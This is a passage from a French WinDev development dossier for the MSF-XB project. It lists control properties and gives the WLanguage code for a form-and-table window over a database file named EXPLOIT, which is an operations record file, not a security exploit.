IDEXPLOIT 14 91 135 14 0 affichag Gauche Haut

RADTitle 9 4 647 18 0 Actif Gauche Centre

Page 189: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 190

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

Annuler 322 121 80 24 0 Actif Aide

Dernier 382 91 20 24 0 Actif Normal

Fermer 322 181 80 24 0 Actif Normal

Nouveau 322 121 80 24 0 Actif Normal

OK 322 91 80 24 0 Actif Aide

Precedent 342 91 20 24 0 Actif Normal

Premier 322 91 20 24 0 Actif Normal

Suivant 362 91 20 24 0 Actif Normal

Supprimer 322 151 80 24 0 Actif Normal

TabDernier 606 217 20 24 0 Actif Normal

TabModifier 546 277 80 24 0 Actif Normal

TabNouveau 546 247 80 24 0 Actif Normal

TabPrecedent 566 217 20 24 0 Actif Normal

TabPremier 546 217 20 24 0 Actif Normal

TabSuivant 586 217 20 24 0 Actif Normal

TabSupprimer 546 307 80 24 0 Actif Normal

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -19 14 14 0 Actif

TablePosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Utili Bloc Enre Multi Affic Asc. Bull Saisi Gest Mém Colonne Com

TABLEREL 14 217 524 241 0 Actif Fichier 2

Page 190: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 191

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSystemButtons 662 1 128 18 0 Actif

Table : TABLERELColonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

IDHEADER 30 Actif Gauche Centre

LIBELLE 302 Actif Gauche Centre Texte

IDEXPLOIT 100 Actif Gauche Centre

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 746 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 696 0 26 19 0 Actif Normal

BTN_Syst_Maximize 722 0 25 19 0 Actif Normal

BTN_UMC 662 0 24 19 0 Actif Normal

Fenêtre : Fiche_et_table_EXPLOIT_HEADERBouton : Annuler

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: AnnulerGroupe GP_MODIFOrdre navigation 11Curseur survol 0On/Off Non

Altitude 8

Page 191: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 192

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Page 192: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 193

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : Dernier

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: >>Groupe GP_PARCOURSOrdre navigation 6Curseur survol 0On/Off Non

Altitude 12

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 193: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 194

Bouton : Fermer

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: FermerGroupe GP_PARCOURSOrdre navigation 9Curseur survol 0On/Off Non

Altitude 15

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 194: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 195

Libellé : IDEXPLOIT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Identifiant de EXPLOITGroupe GP_PARCOURSCurseur survol 0Synchro Infos Partagées Non

Altitude 4

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Liaison Hyper File EXPLOIT.IDEXPLOIT

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : NOM_FICHIER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Nom_fichierGroupe GP_CHAMPOrdre navigation 1Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. Gauche

Page 195: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 196

Altitude 5Retrait gauche 2Position X interne 87Largeur interne 227

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 50Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Liaison Hyper File EXPLOIT.NOM_FICHIER

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 196: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 197

Bouton : Nouveau

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: NouveauGroupe GP_PARCOURSOrdre navigation 7Curseur survol 0On/Off Non

Altitude 13

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 197: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 198

Bouton : OK

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: OKGroupe GP_MODIFOrdre navigation 10Curseur survol 0On/Off Non

Altitude 7

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 198: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 199

Bouton : Precedent

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: <Groupe GP_PARCOURSOrdre navigation 4Curseur survol 0On/Off Non

Altitude 10

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 199: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 200

Bouton : Premier

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: <<Groupe GP_PARCOURSOrdre navigation 3Curseur survol 0On/Off Non

Altitude 9

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 200: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 201

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Fiche et table EXPLOIT-HEADERGB: EXPLOIT-HEADER

Curseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 19

Altitude 2Largeur externe 128Hauteur externe 18

Page 201: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 202

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : Suivant

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: >Groupe GP_PARCOURSOrdre navigation 5Curseur survol 0On/Off Non

Altitude 11

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>

Page 202: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 203

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : Supprimer

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: SupprimerGroupe GP_PARCOURSOrdre navigation 8Curseur survol 0On/Off Non

Altitude 14

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 203: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 204

Table : TABLEREL

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: HEADEROrdre navigation 2Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18Sens VerticalAltitude 6Retrait gauche 2

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection simpleAff. résultats Sans affichageTitre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 13Rub. parcourue IDEXPLOITRub. affichée IDHEADER|LIBELLE|IDEXPLOIT

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 204: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 205

Bouton : TabDernier

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: >>Groupe GP_BOUTONOrdre navigation 15Curseur survol 0On/Off Non

Altitude 19

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 205: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 206

Bouton : TabModifier

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: ModifierGroupe GP_BOUTONOrdre navigation 17Curseur survol 0On/Off Non

Altitude 21

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 206: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 207

Bouton : TabNouveau

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: NouveauGroupe GP_BOUTONOrdre navigation 16Curseur survol 0On/Off Non

Altitude 20

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 207: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 208

Bouton : TabPrecedent

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: <Groupe GP_BOUTONOrdre navigation 13Curseur survol 0On/Off Non

Altitude 17

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 208: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 209

Bouton : TabPremier

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: <<Groupe GP_BOUTONOrdre navigation 12Curseur survol 0On/Off Non

Altitude 16

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 209: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 210

Bouton : TabSuivant

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: >Groupe GP_BOUTONOrdre navigation 14Curseur survol 0On/Off Non

Altitude 18

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 210: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 211

Bouton : TabSupprimer

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: SupprimerGB: Delete

Groupe GP_BOUTONOrdre navigation 18Curseur survol 0On/Off Non

Altitude 22

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 211: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 212

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 212: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 213

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 213: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 214

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 214: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 215

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 215: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 216

Table : TABLERELColonne de table : TABLEREL.IDHEADER (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: Identifiant de HEADERCurseur survol 0

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Liaison Hyper File HEADER.IDHEADER

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 216: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 217

Colonne de table : TABLEREL.LIBELLE (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR: LibelléGB: Header

Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 50Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Liaison Hyper File HEADER.LIBELLE

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 217: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 218

Colonne de table : TABLEREL.IDEXPLOIT (3)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: IDEXPLOITCurseur survol 0

Hauteur liste 152Largeur liste 100Larg. déroulée perso. Non

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: ¤Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Liaison Hyper File HEADER.IDEXPLOIT

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 218: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 219

Fiche_et_table_EXPLOIT_HEADER Code

Déclarations globales de Fiche_et_table_EXPLOIT_HEADER// Ouverture de la fenêtre de type Fiche + table reliée// Entrée: ModeOuverture=mode d'ouverture de la fenêtre :// - "Parcours" Visualisation de tous les enregistrements// grâce aux boutons de parcours// - "Modif" Modification de l'enregistrement en cours// - "Création" Création d'un nouvel enregistrementPROCEDURE FicheEtTableRAD(ModeOuverture="Parcours")

GLOBALgNumEnr est un entier = 0 // enregistrement en cours dans le fichiergModeFenetre est une chaîne // mode de la fenêtre

// Gestion des erreurs d'accès à la base de données// Les messages d'erreurs renvoyés par la base sont affichés

// Vous pouvez traiter ici les compte-rendu d'erreurs de votre baseQUAND EXCEPTION

Erreur("Une erreur est survenue dans la fenêtre",ExceptionInfo(errMessage))// On réactive les exceptionsExceptionActive()// On reprend le traitementRepriseSaisie()

FIN

SI ModeOuverture="Parcours" ET HNbEnr(EXPLOIT)=0 ALORS// ouvre une boite de dialogue pour informer l'utilisateurInfo("Le fichier ne contient aucun enregistrement.")// changement de mode d'ouvertureModeOuverture="Création"

FIN

// activation des champs selon le mode de la fenêtreModifModeFenetre(ModeOuverture)

Initialisation de Fiche_et_table_EXPLOIT_HEADER

Page 219: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 220

nouveau..Visible=FauxSupprimer..Visible=Fauxfermer..Visible=Faux

Titre_Fenetre()

Fermeture de Fiche_et_table_EXPLOIT_HEADER// vérification des modifications de la ficheVerifModification()

Page 220: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 221

Fiche_et_table_EXPLOIT_HEADER Code des champs

Clic sur Annuler// indique que la fiche n'est plus modifiéeMaFenêtre..Modifié=Faux

// si la fenêtre a été ouverte en mode parcoursSI ModeOuverture="Parcours" ALORS

// repasse en mode parcoursModifModeFenetre("Parcours")

// si il y avait un enregistrement courantSI gNumEnr<>0 ALORS

// positionnement sur l'enregistrement modifiéHLit(EXPLOIT,gNumEnr)

// et affichage des rubriques dans les champsRafraichissement()

